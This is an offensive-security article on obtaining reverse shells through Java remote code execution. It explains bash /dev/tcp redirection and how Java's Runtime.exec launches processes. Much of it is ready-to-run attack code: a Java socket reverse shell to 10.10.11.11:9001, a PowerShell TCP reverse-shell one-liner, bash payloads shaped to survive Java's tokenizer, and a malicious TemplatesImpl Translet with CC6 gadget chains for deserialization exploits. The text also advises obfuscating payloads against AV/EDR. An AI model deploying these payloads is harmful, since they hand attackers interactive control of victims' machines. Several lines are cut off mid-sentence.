Comprehensive Analysis of RevShell Techniques in Java RCE Scenarios
Preface
I’ve been researching Java RCE for a long time. Many PoCs simply run calc locally to pop a calculator, but that doesn’t explore the variety of RCE exploitation techniques. This article documents dif[…]
Linux reverse-shell command breakdown
Example:
bash -i >& /dev/tcp/10.10.11.11/9001 0>&1
Role of &
- Without
&,<or>followed by a token is treated as a filename redirect.1> out.txtredirects stdout to a file namedout.txt.
- With
&,<or>followed by a number refers to a file descriptor.
Semantics:
>&mmeans “redirect … to the file that file descriptor m points to”.<&mmeans “read … from the file that file descriptor m points to”.
Command interpretation
- The full, explicit form of the example is:
bash -i > /dev/tcp/10.10.11.11/9001 2>&1 0>&1 - Shell processes redirections left-to-right.
Step-by-step:
bash -istarts a new interactive shell.>(shorthand for1>) redirects standard output to the pseudo-device/dev/tcp/10.10.11.11/9001.- fd 1 (stdout) -> TCP socket
- fd 2 (stderr) -> screen (unchanged)
- fd 0 (stdin) -> keyboard (unchanged)
2>&1makes stderr point to the same place as fd 1 (the TCP socket).0>&1makes stdin point to the same place as fd 1 (the TCP socket).
After these steps:
- fd 1 (stdout) -> TCP socket
- fd 2 (stderr) -> TCP socket
- fd 0 (stdin) -> TCP socket
Thus all stdin/stdout/stderr of the newly launched interactive bash are connected to the TCP socket — a reverse shell.
Notes:
>&merges output redirections (stdout and stderr).<&merges read/redirects for stdin/stdout.0>&1and0<&1produce the same final effect (make fd 0 and fd 1 refer to the same underlying stream or pipe).
Equivalent form:
bash -i >& /dev/tcp/10.10.11.11/9001 0<&1
Java Runtime.exec() internals (Windows)
On Windows, Java’s Runtime.exec() has several overloads. Regardless of whether you call the String or String[] versions, they eventually call:
public Process exec(String[] cmdarray, String[] envp, File dir) throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}
Quick test program:
package com.lingx5.windows;
import java.io.IOException;
import java.io.InputStream;
public class ExecTest {
public static void main(String[] args) throws IOException {
InputStream inputStream = Runtime.getRuntime().exec("ipconfig /all").getInputStream();
byte[] bytes = new byte[1024];
int bytesRead;
while ((bytesRead = inputStream.read(bytes)) != -1) {
System.out.print(new String(bytes, 0, bytesRead, "GBK"));
}
}
}
Flow:
Runtime.exec(String)tokenizes the command string usingjava.util.StringTokenizer(delimiters: whitespace).- It builds a
String[](cmdarray) and calls the exec that usesProcessBuilder. ProcessBuilder.start()eventually callsjava.lang.ProcessImpl.start.- On Windows,
ProcessImpl#create(a native method) is invoked, which usesCreateProcessWto spawn the process and wire up std handles (stdin/stdout/stderr).
Native entry (simplified C pseudocode excerpt):
Java_java_lang_ProcessImpl_create(JNIEnv *env, jclass ignored,
jstring cmd,
jstring envBlock,
jstring dir,
jlongArray stdHandles,
jboolean redirectErrorStream)
{
// prepare strings and handles...
ret = processCreate(env, pcmd, penvBlock, pdir, handles, redirectErrorStream);
// release resources...
return ret;
}
processCreate constructs STARTUPINFO, configures std handles, then calls CreateProcessW(...) to actually launch the child process. The result is a process handle (and stdHandles used for IO betwee[…]
Because the execution eventually hits CreateProcessW, any command you provide (when passed through Java’s APIs) ultimately runs as a normal child process on Windows. That is why we can use reflectio[…]
Reflection examples
- Using the private
ProcessImplconstructor:
package com.lingx5.windows;
import java.lang.reflect.Constructor;
public class CreateTest {
public static void main(String[] args) throws Exception {
Class<?> pc = Class.forName("java.lang.ProcessImpl");
Constructor<?> constructor = pc.getDeclaredConstructor(String[].class, String.class,
String.class, long[].class, boolean.class);
constructor.setAccessible(true);
constructor.newInstance(new String[] {"calc"}, null, null, new long[]{-1L,-1L,-1L}, false);
}
}
- Calling the static native
createmethod directly:
package com.lingx5.windows;
import java.lang.reflect.Method;
public class CreateWithStatic {
public static void main(String[] args) {
try {
Class<?> processC = Class.forName("java.lang.ProcessImpl");
Method create = processC.getDeclaredMethod("create", String.class, String.class,
String.class, long[].class, boolean.class);
create.setAccessible(true);
create.invoke(null, "calc", null, null, new long[]{-1L,-1L,-1L}, false);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Linux native path
On Linux the flow is similar but uses a different native function (e.g. forkAndExec) to create processes. The end result is the same: Java launches OS processes and wires up std handles.
Windows reverse shell techniques
Two common approaches:
- Create a socket to an attacker and bridge process stdio to that socket.
- Use command-based reverse shells (powershell/cmd) executed by
Runtime.exec.
Socket-based Java reverse shell (Windows example)
package com.lingx5.windows;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JavaSocketRevShell {
private void pumpStream(InputStream in, OutputStream out) {
new Thread(() -> {
try {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = in.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
out.flush();
}
} catch (IOException e) {
} finally {
try {
in.close();
out.close();
} catch (IOException ignored) {}
}
}).start();
}
public void conn(String host, int port, String... cmd) throws Exception {
try (Socket socket = new Socket(host, port)) {
ProcessBuilder pb = new ProcessBuilder(cmd);
Process process = pb.start();
pumpStream(socket.getInputStream(), process.getOutputStream());
pumpStream(process.getInputStream(), socket.getOutputStream());
pumpStream(process.getErrorStream(), socket.getOutputStream());
process.waitFor();
} catch (Exception e) {
}
}
public static void main(String[] args) {
try {
new JavaSocketRevShell().conn("10.10.11.11", 9001, "powershell.exe");
} catch (Exception e) {
}
}
}
- For
cmd.exeinteractive shell, add/k:
new JavaSocketRevShell().conn("10.10.11.11", 9001, "cmd.exe", "/k");
PowerShell one-liners
- PowerShell is powerful for reverse shells and supports redirection. Examples like Nishang’s one-liners are commonly used:
$client = New-Object System.Net.Sockets.TCPClient('192.168.254.1',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
Java can simply execute such a one-liner:
public class ExecRevShell {
public static void main(String[] args) throws Exception {
String ip = "'10.10.11.11'";
int port = 9001;
String cmd = "$client = New-Object System.Net.Sockets.TCPClient("+ip+","+port+");"
+ "$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};"
+ "while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){"
+ " $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);"
+ " $sendback = (iex $data 2>&1 | Out-String );"
+ " $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';"
+ " $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);"
+ " $stream.Write($sendbyte,0,$sendbyte.Length);"
+ " $stream.Flush()"
+ "};$client.Close()";
Runtime.getRuntime().exec("powershell.exe " + cmd);
}
}
- Note: many AV/EDR products flag such payloads; use caution and payload obfuscation as needed.
Linux reverse shells
Socket-based approach (same Java code as above) — just call bash -i instead:
new JavaSocketRevShell().conn("10.10.11.11", 9001, "bash", "-i");
Bash-based reverse shells
- You can run:
bash -c 'bash -i >& /dev/tcp/10.10.11.11/9001 0>&1'
Java considerations: Runtime.exec(String) tokenizes input by whitespace (StringTokenizer), so it’s often necessary to pass a String[] to preserve grouping and quoting. Example Java:
public class ExecRevShell {
public static void main(String[] args) {
try {
String[] cmd = new String[]{
"bash",
"-c",
"bash -i >& /dev/tcp/10.10.11.11/9001 0>&1"
};
java.lang.Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Constructing a payload that survives Java tokenization
bash -csemantics (fromman bash): the first non-option argument after-cis read as the command string. Any further arguments are assigned to$0, $1, $2, ....$@expands to separate positional parameters ($1,$2, …), while$*expands them joined into a single string (subject to quoting differences:"$@"vs"$*"matter).- The shell evaluation order:
- Parsing/tokenizing.
- Process I/O redirections (left-to-right).
- Variable/parameter expansion.
- Execution.
Because Java’s StringTokenizer splits on whitespace before bash sees things, naive payloads can break. Example of a broken payload (don’t use):
bash -c "$*" 0 bash -i >& /dev/tcp/10.10.11.11/9001 0>&1
- After Java tokenization,
$*is filled as a single string, and bash treats it such that redirection operators inside the filled string won’t be interpreted, leading to errors like:bash -i >& /dev/tcp/10.10.11.11/9001 0>&1: No such file or directory
Correct approach using pipe (|) and $@/$*
- Use
| bashto make the filled-in string be passed through stdout and be parsed by a new spawn ofbash(so its redirections are interpreted). - Examples:
bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.11.11/9001 0>&1
bash -c $*|bash 0 echo bash -i >& /dev/tcp/10.10.11.11/9001 0>&1
- Java’s
StringTokenizerwill produce tokens such that$@is expanded into separate words and the|is still recognized by the shell to pipe the output into a freshbash, which then parses the[…]
Using reverse shells with deserialization exploits
When combining reverse shells with Java deserialization vulnerabilities, there are two main patterns:
- Class-loading-based command execution (e.g., TemplatesImpl chains: CC3/CC4)
TemplatesImpl#newTransformer()will define and initialize classes embedded as bytecodes — static initializers execute on class loading.- Example payload: create a malicious Translet class that launches a reverse shell from a static initializer, then embed its bytecode into a
TemplatesImplinstance and trigger the gadget chain.
Malicious Translet example (JavaSocketRevShell as Translet)
package com.lingx5.windows;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JavaSocketRevShell extends AbstractTranslet {
private static void pumpStream(InputStream in, OutputStream out) {
new Thread(() -> {
try {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = in.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
out.flush();
}
} catch (IOException e) {
} finally {
try {
in.close();
out.close();
} catch (IOException ignored) {}
}
}).start();
}
public static void conn(String host, int port, String... cmd) throws Exception {
try (Socket socket = new Socket(host, port)) {
ProcessBuilder pb = new ProcessBuilder(cmd);
Process process = pb.start();
pumpStream(socket.getInputStream(), process.getOutputStream());
pumpStream(process.getInputStream(), socket.getOutputStream());
pumpStream(process.getErrorStream(), socket.getOutputStream());
process.waitFor();
} catch (Exception e) {
}
}
static {
new Thread(() -> {
try {
conn("10.10.11.11", 9001, "powershell.exe");
} catch (Exception e) {
}
}).start();
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
}
- Important: starting the reverse-shell in a new thread inside the static initializer helps avoid JVM resource cleanup that might otherwise close sockets immediately.
CC3 chain example (constructing a TemplatesImpl gadget)
// Outline (see original code for full details)
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "evil");
setField(templates, "_bytecodes", new byte[][] { evilClassBytes });
// Build gadget chain that ends up calling new TemplatesImpl(...)/TrAXFilter
// Serialize and then deserialize to trigger class loading and static initializer execution.
- Direct command execution gadgets (e.g., Commons-Collections CC1/CC6)
- These chains usually lead to
Runtime.getRuntime().exec(...)invocation. - Example: CC6-like gadget that constructs a chained transformer to call
Runtime.getRuntime().exec(cmd).
- These chains usually lead to
Example CC6-like chain (conceptual)
String ip = "'10.10.11.11'";
int port = 9001;
String cmd = "powershell.exe $client = New-Object System.Net.Sockets.TCPClient("+ip+","+port+"); ...";
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// build ChainedTransformer and wrap in LazyMap/TiedMapEntry, serialize and deserialize...
Other gadget types (Fastjson, ysoserial CB chains, etc.) can also be used to reach the same execution primitives — either class-loading static initializers or reflective invocation of `Runtime.exec([…]
Closing notes
- The Java platform executes OS processes via native calls (
CreateProcessWon Windows andfork/execon Unix). Understanding how Java tokenizes commands and how shells parse/expand commands is crit[…] - When crafting payloads, pay attention to quoting, how Java splits tokens, and how the target shell will later parse and expand parameters and redirections.
- Deserialization exploit chains generally boil down to two families of approaches: (1) inject executable bytecode (class-loading) that runs in static initializers; (2) build a reflective call chain t[…]
- Anticipate defense mechanisms (AV/EDR), and test payloads in controlled lab environments.
Acknowledgements and references
- Nishang project for PowerShell one-liners: https://github.com/samratashok/nishang
- ysoserial and common gadget-chain references for Commons-Collections, TemplatesImpl, and more.
- Java native process implementation sources and Microsoft docs for CreateProcess.